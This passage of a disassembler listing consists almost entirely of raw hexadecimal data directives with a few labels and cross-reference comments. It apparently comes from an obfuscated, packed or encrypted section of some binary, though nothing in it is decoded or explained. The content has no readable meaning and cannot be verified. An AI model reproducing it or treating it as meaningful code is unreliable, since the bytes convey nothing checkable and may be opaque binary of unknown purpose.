4 dd 0E48766BCh, 37CB913Bh, 9CCA81F0h, 58479878h, 88EBCB81h dd 816617EFh, 0E95B60CAh, 8, 6E77FAAFh, 16F6950Dh, 392F381h dd 5E908F0h, 0D0000000h, 0A9751202h, 67EF8166h, 0F9F08B26h dd 816044B1h, 14C491D3h, 14E803h, 90140000h, 0B60BF8BFh dd 1FF5F955h, 15E92B35h, 9160C899h, 0D7800BA2h, 66615BF5h dd 81F9C28Bh, 7BC67CF2h, 7820F17h, 0F000000h, 182h, 8153F900h dd 350B2FEBh, 10E95817h, 0F8000000h, 2B7AE807h, 5121AD64h dd 1A844568h, 528795A4h, 80595E51h, 0B16021D2h, 0EF816677h dd 0E96154E2h, 7, 0AA8CF211h, 0BF2CC835h, 6419C068h, 68F0Fh dd 0E9810000h, 74C78A2Dh, 5810Fh, 0F500000h, 8B5FC3BFh dd 0DF8B60C1h, 61FAB70Fh, 0F59DD981h, 59B12E7Dh, 0A56C681h dd 6E94580h, 4A000000h, 70A8B3Dh, 0D881666Ah, 8166170Ch dd 667D5CDFh, 0D98ACE8Bh, 66DBB70Fh, 5A51F781h, 0D446F1B8h dd 0AFC48020h, 0D285EF81h, 850F7D82h, 0Ah, 0C0816660h dd 0BF0FF305h, 7E961F0h, 0A9000000h, 809BEA95h, 0E8606AA6h dd 9, 0FA269E53h, 194E1FA8h, 8DF381E1h, 5A319075h, 61C18B66h dd 735FBA66h, 0E85F5060h db 14h byte_5C3A41 db 2 dup(0) ; DATA XREF: ___:off_42E6F0o byte_5C3A43 db 0 ; DATA XREF: ___:off_433398o dword_5C3A44 dd 0D45533BCh, 0C25428CBh, 9CDD2FA3h, 49069375h, 0F7E0D5E4h ; DATA XREF: ___:off_433390o dd 5FC1BF0Fh, 0CF2DBF61h, 880F554Eh, 3, 0F5EF557h, 0DBB6C2B7h dd 6E9h, 0C6731000h, 60153067h, 0F95F5360h, 0E6816661h dd 6661B2A7h, 0F0042BAh, 0D681D7BFh, 3DF1371h, 8A0Fh, 0BF0F0000h dd 12E957CBh, 0CC000000h, 0A0B94136h, 0CA0391C3h, 0F0EDE555h dd 0D0DFA4D4h, 0F8B35EBBh, 58A0Fh, 81660000h, 813B62EBh dd 0BF38BED8h, 0BE90Dh, 8C730000h, 0CEBE5755h, 8855CF79h dd 8E955h, 9A3D0000h, 48F0B132h, 0FB5AC4Eh, 2B0CBEFCh dd 81666319h, 601A1DE3h, 6E8h, 0B3FD4900h, 0E938C47Ah dd 0Ch, 49948C84h, 0F505D3CAh, 878DE953h, 0E5B9665Ah, 0B70F61C6h dd 0B7D181C1h, 8129A70Dh, 8C43D9C3h, 17890F10h, 0E9000000h dd 12h, 0B649F8EDh, 0F17D596Bh, 3334212h, 86EAEE2Ch, 0E9600420h dd 5, 619A42E3h, 0F9C780A9h, 0E9816661h, 14E990E7h, 3C000000h dd 51D5F790h, 157C1134h, 0FEA2A21Eh, 6709C2CAh, 8133F35Dh dd 35FB2D9h, 6810F4Eh, 81000000h, 7DE535F2h, 22B3510Ah dd 8C0FF95Eh, 0Ch, 68F0Fh, 880F0000h, 0 dd 7E9h, 7B966D00h, 81059753h, 0EE8h, 56CE800h, 0EAF16588h dd 0FB90901Fh, 0F3BB04Bh, 118Ch, 0CE900h, 73540000h, 0E665174Ah dd 0AFB5E1CCh, 0E959F8CCh, 13h, 5817C760h, 5EB96775h, 0F50E2815h dd 91666E8Eh, 0FDED948h, 785h, 1820F00h, 0FC000000h, 0DC82C381h dd 850F6DBBh, 5, 57D98166h, 0DE860h, 63E20000h, 58E37676h dd 77B49EB1h, 6000A178h, 8E8FD8Ah, 10000000h, 60924635h dd 5E34FBFBh, 0EE95E61h, 0E2000000h, 28A5663Ah, 6333227Eh dd 1FFEF111h, 0AE944h, 84B40000h, 7DB4CCABh, 232AF3FEh dd 10E9h, 61D1D600h, 0DDA053B6h, 0C150CE17h, 22F8C0DCh dd 60C38B9Dh, 9E9h, 0DA5D4C00h, 0DADE46E9h, 0BB66F72Ch dd 0E961D2C8h, 0Eh, 69C902D1h, 5B778DD9h, 7336FE76h, 12E9FE2Ch dd 0B5000000h, 9CBF54C3h, 4DAD58DFh, 29181CEBh, 48AEF3A2h dd 18D881ACh, 81550E2Ah, 7B6D39EAh, 81D9B556h, 0D10F43D2h dd 11E94Ch, 8F950000h, 5EFD2218h, 0D5EB24B1h, 761FE0EDh dd 6696CACAh, 53BAF681h, 16890Fh, 11E90000h, 72000000h dd 4FAD12EAh, 0EDD77C8Bh, 0DA3D931Ah, 4D1D4049h, 71E38166h dd 860FFC98h, 14h, 0EE8h, 310BE900h, 9AC1661Eh, 67C091AEh dd 5B0D3C5Ah, 7E9h, 0ECBE0500h, 0D7D1544Dh, 0C8816651h dd 0E85AE7D6h, 10h, 0BA485C93h, 2B8AFE62h, 1EC2B1D4h, 0D5874DF1h dd 6E85Fh, 49010000h, 0A900AD9Dh, 0E85AF38Bh, 8, 692CD4B8h dd 792B706h, 65162CBBh, 81665B3Ah, 0F6B5FE1h, 0CE9D3B7h dd 3D000000h, 22732C56h, 53849C16h, 8B73854Eh, 48F0FC1h dd 66000000h, 0E9C003BEh, 5, 0F0DF04A2h, 0BE976h, 0C9280000h dd 1C63D0D7h, 0DBE8FED0h, 0FA8B6696h, 0BA6611B4h, 870F4E52h dd 5, 95B2D8BAh, 0BE903h, 8A630000h, 0DDC5891Eh, 6728C46Ah dd 0F98B6672h, 0CA8BF98Bh, 0E1BFCCB9h, 0C280566Ah, 0B70F5A51h dd 58A0FC3h, 0BE000000h, 454F089Dh, 0D860Fh, 5E80000h dd 3C000000h, 526C7F93h, 8B5A6160h, 11E9F0h, 34110000h dd 0F59B0551h, 54BAE289h, 8A69A8D4h, 0F9B4115Ch, 6870Fh dd 0F2810000h, 4B7B04B8h, 0F30AB860h, 0D981017Eh, 50CF52AFh dd 0AE961h, 0EE120000h, 28F6EFF0h, 0FADB8C59h, 5670CDBEh dd 14E962h, 345C0000h, 0B450DB32h, 0A577B7D1h, 0E863BCAFh dd 0FD5ADEC6h, 12E9AA46h, 89000000h, 6713D27Ah, 90805577h dd 35EBC4CBh, 0BF9C9F2Fh, 6078B414h, 0ADD2BE66h, 0A66768B8h dd 0E8536132h, 14h, 9651C7FAh, 0C85B2117h, 7AA52882h, 746DD8C6h dd 0EE546464h, 0F265BE66h, 5E95E5Ah, 99000000h, 0ADCC3FDh dd 10E8h, 38A3E500h, 8CE0C462h, 0DD55F2B0h, 0AC225BAh dd 0DE8166A8h, 0E959A22Fh, 11h, 0CEDE920Ch, 11F1FA59h dd 9983CF77h, 7563F7FEh, 9E8F0h, 93DD0000h, 5E73A8AEh dd 8BCF1FAFh, 8B6659FBh, 11E8C8h, 0F35C0000h, 312BBDA0h dd 0B646113Eh, 6A4B655Ah, 0F1EB6A2h, 0F5EC9B7h, 388h, 0D68B6600h dd 66FB8B66h, 8A32C681h, 0BE960h, 98000000h, 0E16AA8FFh dd 706450EBh, 0CFB86693h, 0BF0F61F6h, 0B3ECBEC6h, 14E90659h dd 72000000h, 36AF3F7Bh, 0DAAED532h, 6B20F3DCh, 916E13h dd 0F5B745ADh, 0BFF18B66h, 3645BE4Ch, 0C88AC68Bh, 11E9h dd 6CB79000h, 2E584A4Ah, 2DD35230h, 0AD730D34h, 830F3306h dd 18h, 69BB6660h, 0CE8CDh, 8D250000h, 0FD953A8Bh, 0C435FEE7h dd 615FCF2Dh, 0AE9C88Bh, 80000000h, 82C1BE20h, 6F9B6727h dd 0F940B7FAh, 0CE8h, 0B0EED200h, 20D48C44h, 0F96A1082h dd 0BA665B9Ch, 81667C4Ah, 665F02DBh, 8DB1DB81h, 1462BA66h dd 0DEBB6660h, 9E9CCh, 0C9ED0000h, 0C1AC2B62h, 615723E0h dd 0AE858B1h, 0D7000000h, 0E20752FCh, 27F57198h, 5BEE8A10h dd 0E1816660h, 0B70FD136h, 14E861D3h, 0A3000000h, 0AC205E8Ah dd 8F790EE4h, 5504103Ch, 854D4FFFh, 0F52BCF0h, 0B95BF6BFh dd 5A20E5AEh, 66C3B70Fh, 9A9BE381h, 0EE9h, 0C18D2B00h dd 0AA31FF77h, 9653CCF8h, 8A1FA1D1h, 0F493B8CFh, 8160302Ah dd 0D7C121F0h, 0BA61F97Bh, 4118630Dh, 0F04B460h, 68Ch dd 840F00h, 61000000h, 0BE8F1B2h, 62000000h, 9517072h dd 0D300FD4h, 0CF8B43B7h, 0F1BF0F5Fh, 0D08BF58Ah, 0BE9h dd 2D806800h, 8C49FE93h, 4EA5F4ABh, 0AE9F8h, 0E01D0000h dd 1C9981AFh, 3E359826h, 0E2F18166h, 48A0F45h, 66000000h dd 0E856C5BEh, 0Ah, 8562EBCBh, 0D89F0BDFh, 65BB371Ch, 5E2A400Dh dd 12E9h, 24454800h, 9E241E3Fh, 35C364B1h, 0E0089377h dd 662708E0h, 0B6E8C5BEh, 99F3813Bh, 6625D70Eh, 820FF28Bh dd 0 dd 810FC28Bh, 0Fh, 0AE9h, 0CEB65200h, 0B834B2C1h, 0FCCEC4Fh dd 388h, 0FFB70F00h, 0B5B8F681h, 0D3810DACh, 53CA0949h dd 0CE9h, 9CFAB200h, 43884308h, 4E5EB008h, 2890FEAh, 8A000000h dd 12E9CAh, 0C86C0000h, 0CA8D2A7Dh, 718B72BFh, 3FF26266h dd 38A766DCh, 0F52C8B6h, 380h, 0CF8B6600h, 58F0F58h, 66000000h dd 40E8D681h, 5B98B353h, 8C0Fh, 0DE90000h, 0B2000000h dd 19DCC8C5h, 4DFEAFB7h, 5E1664BEh, 7E983B0h, 8B000000h dd 0A4349E31h, 0DF8B9E3Fh, 0E70ED9BEh, 0DBD3811Fh, 0F35DAC5h dd 0EE81F2BFh, 634C2C57h, 28B0Fh, 0D68B0000h, 0C2B70F52h dd 0C3B6575Eh, 8B66605Bh, 0CE9CBh, 24EC0000h, 4AAA9B84h dd 5D2F2338h, 0F961824Bh, 0BE8h, 2493C00h, 535C6C91h, 5C9112E6h dd 2881B866h, 26C8805Ah, 0F883C680h, 8BD6BF0Fh, 0B4EDBED1h dd 14B675E7h, 0E9F88B66h, 12h, 7F85C2AEh, 67CA456Eh, 62EC2544h dd 4756C630h, 81663A8Fh, 0FD6ACDBh, 380h, 0F7B70F00h, 0BE9h dd 0AB63ED00h, 4D17623Dh, 0E886E2DDh, 0F60C68Bh, 8B61FFB7h dd 816060C2h, 0BF1B7EC3h, 8C0F7Ch, 61000000h, 0F08B6660h dd 61615F57h, 0E844DA80h, 0Dh, 46364B41h, 61676DDDh, 0C3754C6Ch dd 8ACA8194h, 5E0B08F2h, 5F5221B2h, 2800Fh, 55B60000h dd 82A6FCBFh, 0DA22BA4Ch, 81662E8Fh, 664A37E3h, 66D4D5B8h dd 0DA81F98Bh, 4A421C03h, 13E9F860h, 0A9000000h, 21E7549h dd 16274B60h, 3E587A4Fh, 0CD72A17Ah, 6061C9BBh, 66CF8B66h dd 6113EBBBh, 0FCDE8166h, 0DADA814Ch, 0E9742441h, 0Eh dd 2BEE6F0Fh, 0B6ADA348h, 509BDA77h, 10E9C8F4h, 52000000h dd 17F20A8Ch, 66A7F4DDh, 1ECD27C8h, 0E88AFFAAh, 8, 0CBD16008h dd 0BB7126F7h, 0EE9h, 7617B500h, 0EA95A952h, 6AA6809Bh dd 5A1A043Fh, 405AD381h, 860F75F5h, 4, 0A9FDBA66h, 93C6B866h dd 0B830Fh, 840F0000h, 5, 0F94BBBh, 0BF0FF569h, 5ABA60D6h dd 6674D2A8h, 616F42B9h, 13E9h, 813EA100h, 0B3A8EE9Ah dd 965EC837h, 4E94DB36h, 0B1639380h, 7E8h, 288BEB00h, 9BA5EB14h dd 10E9h, 3C24A400h, 0C6B49F57h, 0F50AA1E2h, 88CEDF62h dd 14E859E4h, 0D4000000h, 76C34F55h, 3FAADE96h, 3EE7BD44h dd 0CBD7FA0Fh, 0FCB1494Dh, 0F58BE59h, 860F3BDCh, 19h, 11E9FC60h dd 6C000000h, 0D49AE719h, 33B05346h, 0B02BB609h, 0F3AB695Bh dd 0C7816661h, 57F91F99h, 14E9h, 21C9CA00h, 59708A55h dd 2C892744h, 0F943C7CCh, 0C18899Bh, 0B8665BBEh, 0D08A8C1Dh dd 0AE8FCh, 0F4600000h, 0DABB2858h, 1F035467h, 8B0Fh, 665A0000h dd 0E9BFAEBEh, 0Bh, 4E53849Ch, 93A57385h, 569FBE36h, 0F59AEB7h dd 1E84h, 188F0F00h, 0E8000000h, 12h, 0F3771587h, 0D44A1EEDh dd 43BFE176h, 0F2A397B1h, 0E85BB296h, 13h, 79EDA472h, 9B23846Ch dd 0A435DE3Bh, 2C3B319Eh, 81253766h, 7AC70DD6h, 0E9FC581Fh dd 0Eh, 35EDA838h, 91656871h, 0F9EB58CDh, 10E936B3h, 4000000h dd 499D0DE6h, 3990BE61h, 0CB794250h, 805CF1DFh, 0C18B65CFh dd 675EB866h, 0D88B26B1h, 158A0Fh, 10E90000h, 3E000000h dd 241329FBh, 0CBC587BDh, 0B6272BDBh, 6658B449h, 0B47CACBAh dd 0D2B8669Dh, 0BFCE8B0Bh, 5C622A74h, 7E9h, 0E9256B00h dd 0C212715Fh, 614BB560h, 0D0816660h, 860F8B97h, 0Eh, 9E9h dd 0D3F0A200h, 8B3AB9CBh, 0F614939h, 38Fh, 0F8BF0F00h dd 0F98BCB8Bh, 85C68156h, 5E3293E1h, 17860Fh, 12E90000h dd 0A3000000h, 7EB47740h, 0C5F2C016h, 0B5E29208h, 88BA2EE2h dd 0AEDB8150h, 0E9234B89h, 0Dh, 0E0373B52h, 0AC450039h dd 0AB6F729Bh, 0F3D08149h, 0E9000270h, 7, 0B4171342h, 0F9EE78DEh dd 11E8h, 61653800h, 0FE23B902h, 509D0A59h, 8DE23AA6h dd 850F3592h, 3, 5FDBBF0Fh, 7D1CD181h, 0C6813E2Ah, 3E108EC5h dd 0BFE2B866h, 18A0Fh, 0FF80000h, 13E8CAB7h, 96000000h dd 143EEAB6h, 355C0E91h, 1A6F3BEAh, 0A3E4AF1Dh, 0B866FDE9h dd 8A59584Dh, 800F51E3h, 2, 815ED38Bh, 8ACCB1D6h, 0AE963h dd 0E9540000h, 46320148h, 483FFE11h, 0BE9h, 31773300h dd 0CED9D8D2h, 4E366322h, 870Fh, 51F90000h, 59D08B66h dd 2840F53h, 0B2000000h, 0F38A5FCAh, 950D81BFh, 70F68170h dd 0F4BFBF8h, 8166FFB7h, 6026D8D3h, 800F60h, 60000000h dd 0C1806161h, 0C6816150h, 49267764h, 0AE8h, 446F4500h dd 0A3F6286Dh, 0FF73543h, 8Fh, 0FE85F00h, 8A000000h, 8C6AAFFh dd 6B1D7E5Dh, 25D9D1FEh, 0AE9A46Fh, 94000000h, 0B3095600h dd 14D8A7C6h, 0E9FC585Bh, 6, 0C2866C13h, 880F266Dh, 4 dd 0B5CB966h, 0EDF8152h, 5E42E247h, 93FCB966h, 0BE9h, 0CC7C7200h dd 0C59408B7h, 0A726D5FAh, 1F24B860h, 0DE93BC4h, 2C000000h dd 0C323AC8Dh, 2DC519EAh, 65D5B306h, 48A0F61h, 66000000h dd 0F93C0B9h, 28Fh, 60D88B00h, 5ED88B50h, 9E851h, 0E6000000h dd 9A3725F1h, 58642E44h, 0DF8B615Fh, 7E8h, 97E4E300h, 848B379Ch dd 569FDB81h, 0F85E1FB2h, 8B669BB7h, 0D78166C6h, 6660FD5Dh dd 0FC17EB9h, 1284h, 0CE800h, 0F3A70000h, 0F76F4E1Dh, 3246D51Ah dd 615B48C5h, 66F1BF0Fh, 8ACBE181h, 0FD2BF0Fh, 588h, 0E240BF00h dd 9E8008Fh, 90000000h, 0E086AA3Fh, 0C85FAA7Eh, 0C1B70F50h dd 0CE85A5Fh, 0A2000000h, 9C39C401h, 0F25B83F1h, 0E90DAEDEh dd 0Fh, 0F0ECB36Fh, 0FC1D293Dh, 3859ED0h, 5EA6BF5Eh, 5FEC8A51h dd 0B70FD98Bh, 0B86052D1h, 4F3D636Ah, 0D1815861h, 28E81A50h dd 85BBC78Bh, 0E84A0737h, 0Eh, 81C29228h, 7985EC36h, 25198A14h dd 810F3CAFh, 2, 605BF28Bh, 0F18B6650h, 0F61F55Bh, 8B66F8B7h dd 6E9F8D0h, 0BA000000h, 66B06021h, 5860F33h, 56000000h dd 58DBBF0Fh, 0D614BF66h, 0D1CFBA66h, 3E13D181h, 0D18B5171h dd 0EE8h, 6E5E400h, 770A5B3Bh, 0C1DA45FEh, 583D0D86h, 0C6816650h dd 0E95E7E30h, 0Dh, 2FAC39B4h, 0B2FFE26Ch, 208FAD52h, 0F38166B7h dd 8A0F6D6Fh, 5, 0ABD45BB8h, 0C1DE8108h, 0BB006754h, 4079EBEBh dd 5FE6B451h, 0FE956h, 3A110000h, 0E5F8C9B3h, 0AFA4E4D2h dd 9661B145h, 8B665E67h, 0ABC381C3h, 666AD5D7h, 8B66F98Bh dd 0F7BF0FF1h, 828925BAh, 880F5046h, 2, 0F5F33B5h, 0E8F8C8B7h dd 0Ah, 0F0C7F311h, 0DE27C38Eh, 0D981FDC9h, 2BB6DAA8h dd 85BE665Fh, 0CAEB8148h, 0E9380F1Fh, 7, 0A3F7BEDEh, 0F4A8C12h dd 180h, 8166F500h, 0E9E422E8h, 10h, 0B33BDE09h, 0D8F65FF8h dd 0E11F813Dh, 0B8F6FF06h, 8C0F7CB6h, 8, 2870Fh, 5A560000h dd 0F8D96B8h, 5E918h, 7840000h, 0FEE3F34h, 684h, 45E68100h dd 6630C4E7h, 8A7C1FB9h, 14E950E8h, 0CE000000h, 0AF23B868h dd 0F42D930Ah, 0D10209F7h, 7ECD87F5h, 591B250Dh, 3880Fh dd 8B660000h, 66C78BCEh, 81E031B9h, 6EDE8F7h, 66C9B27Dh dd 66601DB8h, 6607BEBEh, 0BE35EBBAh dd 418A7AAFh, 2EB6CE8Bh, 1EC78166h, 0FE8F929h, 96000000h dd 0C98CA7AAh, 5048C203h, 71CB0BFBh, 0F5EC9A6h, 58Dh, 0DE816600h dd 0F6811B48h, 0F7B880Bh, 0FE85953h, 4C000000h, 0CF2037FBh dd 1BC64F92h, 98945D4Eh, 14E9E463h, 0E2000000h, 0EEE5FC40h dd 0F468AA81h, 0E200A0C0h, 0FD5D818Bh, 5F2367FFh, 11E8h dd 98504F00h, 0DC4E382Fh, 24765127h, 0F66F47F6h, 5EF8ABA8h dd 0F38B66F5h, 0CE9h, 472BBB00h, 677CBB0Ah, 5751F656h dd 14E95Ah, 4AF70000h, 554CCCE3h, 78E22797h, 0C5FDD3E2h dd 304A1289h, 880F48FEh, 18h, 12E8h, 0E0ECC300h, 89441BA4h dd 0B525BFF3h, 0CB823D0Bh, 5FF50D4Eh, 5987BF66h, 0E8C68B60h dd 0Ch, 6A7C10A4h, 0D8ADA52Dh, 0D21B6AFAh, 0EE8h, 2FEFDF00h dd 5C1381E9h, 5809CDC8h, 5A04DD27h, 0EE9615Eh, 2C000000h dd 4BFD51FCh, 467A2562h, 0CFC9B029h, 8C0F5225h, 6, 71FACE81h dd 815F1E1Ch, 39A039DFh, 0E860F50h, 0E8000000h, 6, 3F99E28Eh dd 0FA8B2E3Dh, 0BBDE8B58h, 4F18B3EDh, 0FE9h, 13AA1A00h dd 733905BFh, 4EA61C19h, 8DE8B002h, 14890Fh, 0FE90000h dd 52000000h, 30C52A25h, 0AEAFA723h, 72CE29CCh, 7E98A64h dd 28000000h, 0BB897C05h, 0C080FF35h, 86C4801Fh, 10E9h dd 0B8950700h, 0A205AEC6h, 5AB2F7F7h, 34D84799h, 0DB81668Eh dd 8B0FC92Eh, 11h, 8E960h, 96180000h, 0D92F9F38h, 86B7405Bh dd 0BE961h, 197A0000h, 7BA36E75h, 0F833712Eh, 0CAD081DFh dd 57746FD2h, 9DC88166h, 0BB665B84h, 0E96014F0h, 10h, 8A4BC507h dd 55D77416h, 8A9BA460h, 2133E8C6h, 8161D98Bh, 0F95C37E1h dd 6820F50h, 81000000h, 0E085C5EFh, 14E943h, 0E9CA0000h dd 0A22A3056h, 4F3A05F6h, 734561DEh, 99303BE5h, 5CBF7D9Dh dd 0F92157CCh, 0FEE18166h, 57C88B24h, 7CE08166h, 0B70F5FE2h dd 0B96652D7h, 0E95B86F7h, 5, 0BE2F6E49h, 3840F56h, 66000000h dd 8B0FD38Bh, 1, 6840FF9h, 81000000h, 0D090E6D0h, 0CB8B6634h dd 0D7E181F8h, 60190A69h, 10E8h, 0B4D8C700h, 0C1D73059h dd 7C2AE219h, 0D4C11844h, 57DE8107h, 590A6200h, 5361F38Bh dd 6E9h, 1C31000h, 5E14031Bh, 9BB8A9B6h, 0F2EB886h, 8Dh dd 8B66FC00h, 0F3BF0FD6h, 3840Fh, 8B660000h, 0E08166C7h dd 81605559h, 9CEA52D8h, 8E939h, 925B0000h, 7262E663h dd 0E9615170h, 0Fh, 6427F937h, 625378E9h, 538C51DDh, 0F0F6A56h dd 889h, 0BF0F6000h, 0D7BF0FF2h, 12E961h, 0E9D90000h, 0B326999Bh dd 595BC075h, 12A8F78Dh, 0B71FA713h, 60D2BF0Fh, 830FFA8Bh dd 11h, 0BE8h, 0F273FC00h, 0CEDB80C6h, 5B43C9CCh, 6653615Bh dd 7179F781h, 0C7BB665Fh, 0CAB70F47h, 7E856h, 0B3BE0000h dd 0A3AB398Dh, 665B5E26h, 939CC681h, 0C8816660h, 850FC5CEh dd 2, 0E9615A50h, 0Dh, 0D00504C0h, 0D398761h, 0DAF7AF26h dd 8B66601Bh, 0B861FCD0h, 32779794h, 45BB6660h, 0DE8B66D3h dd 66D68B61h, 38D9D881h, 12E9F38Ah, 0A3000000h, 0AB588DA0h dd 0B4BA450h, 0F8D4A4FBh, 45C03F46h, 0AD3DBF6Ch, 11E93D3Bh dd 0E000000h, 3BB11F51h, 78AAB1ACh, 0B470EF9Ah, 0D42C7131h dd 1840F60h, 0FC000000h, 8E8h, 51C91A00h, 28A35540h, 8A0FDCh dd 5B000000h, 6E9FC61h, 76000000h, 0AD9A86F4h, 0F38B6607h dd 0E8F18B66h, 10h, 0F0670699h, 540A26EEh, 0D0C04464h dd 9E621A92h, 0EE9h, 9757200h, 0C671EB10h, 539A84C5h, 5F011884h dd 0D6F6BB66h, 0FD6B70Fh, 0BE8C6BFh, 10000000h, 68A1506Eh dd 7BCE50B5h, 665FAC6Bh, 77B6FE8Bh, 0FD0B70Fh, 8Ch, 815B5600h dd 0EC8320DBh, 0CE80F829h, 18C881F8h, 56039E84h, 5ECB8B66h dd 7BC165BFh, 0BFD3802Ah, 0BAC7CC80h, 15793995h, 11E8h dd 641AC400h, 791659B2h, 0B8117847h, 9B42EA02h, 14E99CB8h dd 97000000h, 0BE1684F1h, 0D24F7EFFh, 0B7CFEB56h, 0F138E895h dd 587F2047h, 0FE9FCh, 0A8D0000h, 179A9049h, 90A885B5h dd 0BEF85C63h, 18BB6669h, 26F5BEA8h, 0AE933B6h, 75000000h dd 2B49C7A2h, 500A5ACDh, 0FFB70F0Dh, 103DABEh, 0F180FC0Fh dd 0C6B660D7h, 0C88B6660h, 860Fh, 61610000h, 11E9h, 7EE54C00h dd 0B87382D5h, 6827BD04h, 0FAC6FCCBh, 8160F848h, 3721A7E9h dd 0DE83Dh, 0CE0C0000h, 292A317Fh, 0EBDEF90Ch, 0BA2C5C17h dd 63FBF608h, 0E480615Eh, 10E9A6h, 61B70000h, 8974E0DCh dd 0CD1B9B43h, 0E290214Ah, 5AB2A73Bh, 8C0FF48Ah, 5, 0A4254BBh dd 6695B36Ch, 5EEBC881h, 63A9A6B8h, 11E825h, 65B90000h dd 744A3E28h, 25605CABh, 62EF1CF0h, 0E94173E1h, 11h, 0FA2CAF95h dd 29D68356h, 67BFBE0h, 29EEDD61h, 0B70F5FA8h, 0C1BF0FCFh dd 8E8F9h, 8E0E0000h, 8FD90B31h, 81668F9Ch, 5A144CCBh dd 1ED18166h, 85B9FC23h, 0E80DA282h, 13h, 392F7F4Ch, 8288F25h dd 94CC8B7Fh, 6D005109h, 8199186Ch, 0A86A5AF6h, 12E95842h dd 0A9000000h, 35D372Eh, 79F87DB6h, 622E9A41h, 0C636CBAAh dd 66DA8A8Ch, 0B940D1BEh, 287A4DAAh, 58F88B52h, 6E8h, 58394800h dd 0E990A4B7h, 5, 0AE37696Fh, 0F9565F64h, 0FC88B59h, 1985h dd 11E800h, 50E90000h, 60C2AB12h, 0B54B3E0Bh, 337646D1h dd 8BD23177h, 8C0F58F8h, 6, 65B8D081h, 0B9F810C7h, 0C6A384Fh dd 0E181B8B1h, 675973B7h, 0D294FCBFh, 81F48A49h, 99E835C1h dd 0D3B70F76h, 72BBF08Bh, 0E96A9D40h, 7, 2319B0D9h, 66BEA01Eh dd 4544CF81h, 0A31B8F9h, 0FEB644F1h, 0EE8h, 228C8A00h dd 0C868BEE9h, 2467EA69h, 8B3A5551h, 0FE859CFh, 91000000h dd 2369A364h, 0E839B8AEh, 1F44114Ch, 11E9630Ah, 61000000h dd 52D72BABh, 86BBA400h, 9A3647D7h, 0D10306FDh, 0D8816658h dd 0CE989FFh, 8E000000h, 0F5D4DFC8h, 8F48B78Ch, 0F82CF095h dd 0E4BA6660h, 0DB96646h, 0E1B1612Eh, 5760C28Bh, 0BEB5BE66h dd 0C28B6658h, 0CF816661h, 0F6B73FDFh, 60F38B66h, 81DE8B66h dd 51B985CFh, 8B666136h, 3FC281D1h, 0E960D1ABh, 0Ch, 7BD01F2Ah dd 0C9E027C5h, 0E8E6B91Fh, 0CAB5A8BEh, 3860F35h, 0F000000h dd 12E9F3B7h, 85000000h, 0EA474BC0h, 0F5162D95h, 0D97C35A6h dd 6C47ADDAh, 0BE960BAh, 3000000h, 0B93A57B1h, 0D87023ABh dd 0BF66E267h, 6661CACAh, 60EC22BAh, 0F39DC80h, 281h, 61585000h dd 7E8h, 8E65900h, 0F9B3EA7Dh, 666058F8h, 0F61CA8Bh, 0B80h dd 6E900h, 0E9C40000h, 245D9E98h, 0B70FCB8Bh, 6E9C3h, 1B780000h dd 8F8FC2C8h, 850FFEB6h, 1Ah, 14E8h, 0B74BD000h, 63CCA841h dd 923594B8h, 8514428Dh, 0E9E4ED91h, 0D68B58F8h, 7E8D98Bh dd 27000000h, 0FA6F9B67h, 5E90937h, 0D3000000h, 5E900DABh dd 0FE958h, 0F24D0000h, 0A6AC3A10h, 17DE4D1Eh, 2316B3D9h dd 8E0F606Dh, 15h, 10E9h, 317F800h, 0CD495130h, 0E3078900h dd 0FB4977BBh, 0C005BE12h, 666157ACh, 0E881BDBBh, 9, 9F5A3026h dd 6A0D3511h, 860FD4h, 5B000000h, 66C9BF0Fh, 0F208EF81h dd 12E9h, 342C200h, 0D57516ADh, 5E00CCD7h, 218AAC5Eh, 0F981A50h dd 0A8Ah, 48F0F00h, 66000000h, 66765BB9h, 0D722F081h, 0EF8166FCh dd 0E281B3CFh, 7C7BA11Dh, 0B9EA8166h, 39C08147h, 0F934C182h dd 0CAB6CE81h, 6AB27B22h, 9153B8BEh, 0B11CB062h, 0BE859h dd 0C93C0000h, 0AD9032D3h, 16436E55h, 0CE8166B3h, 0E95F7292h dd 6, 0B5673192h, 8B6697D5h, 11E9D1h, 36670000h, 7A14697Ah dd 62EA22BFh, 0B44C9D8Eh, 0BE8B30FDh, 3F3674B5h, 0D9B70F50h dd 0FE95Eh, 50340000h, 72DACB7h, 7B818107h, 4FE0FD64h dd 0FD08BA4h, 989h, 38A0F00h, 80000000h, 4CBF8FCBh, 501355EEh dd 6E86DF81h, 8B5B07F6h, 0D3CC80D8h, 94F28166h, 0C28B66BEh dd 830FD78Bh, 5, 6F8026BBh, 0B966FC4Ah, 0BF0F1FECh, 667DB4FBh dd 11E9F28Bh, 0D5000000h, 0B5E3A968h, 0B8125759h, 0D52C608Dh dd 0B48686B8h, 0B1DBB70Fh, 0EEE68100h, 0E91D6F07h, 12h dd 608AE520h, 0DA15E043h, 3174E8B1h, 0CBF4431h, 0E080FB37h dd 1D87BAF1h, 8D0F1747h, 0 dd 12E9h, 60274500h, 0C9B44806h, 3058EC7Bh, 0EDCB375Ch dd 0B946A186h, 2647028Dh, 0CE9h, 0E00A8A00h, 0A0B04A92h dd 4DC1C350h, 0FBB70FD7h, 9B51B8BEh, 0C0F28012h, 4CC4F081h dd 665011C8h, 0E677EE81h, 0DE95Eh, 0DA690000h, 0F7D619DDh dd 40FC2DCBh, 66EA3096h, 0C781C78Bh, 7B75890Bh, 6042CA80h dd 29DC8060h, 8E9h, 0DF718200h, 9D14E47h, 840F6154h, 3 dd 61D7BF0Fh, 63D08166h, 14E87Eh, 10B80000h, 7CC1F0A0h dd 0F5561425h, 0F8051CE6h, 6E0BEB1h, 5952C7C8h, 50FA8B5Bh dd 5FC88B66h, 66F1E880h, 0B17FF381h, 0ECE081F9h, 507737BCh dd 58B0Fh, 0DB80000h, 5822583Ch, 41C18166h, 8E9E9h, 7DB60000h dd 9A4179F8h, 8166622Eh, 8BE2D6F3h, 65BE66C7h, 8E8CAh dd 14170000h, 600D7BD8h, 3BBF24ACh, 5A54B845h, 0B2D88B66h dd 0EABB6611h, 10E9CCh, 0EEE80000h, 53517A4Eh, 6A05A685h dd 87D6691Ch, 66608814h, 0D54FEE81h, 8B0F61F5h, 3, 66C8B70Fh dd 23B0C68Bh, 0C9E18166h, 81D98B68h, 0E1415C3h, 35BBFC5Bh dd 6633C0E7h, 8BC738BEh, 0DBBF0FF0h, 0AE9h, 0FAB89900h dd 6594684Ah, 0F2E5705h, 8B66DFBFh, 5BF957F7h, 8163EC80h dd 0DC17B8C3h, 0EE80Ch, 0C8F0000h, 952ED7E7h, 5BCE7009h dd 4E0E335Fh, 879F5ABEh, 0BA665F1Ah, 13E9F51Dh, 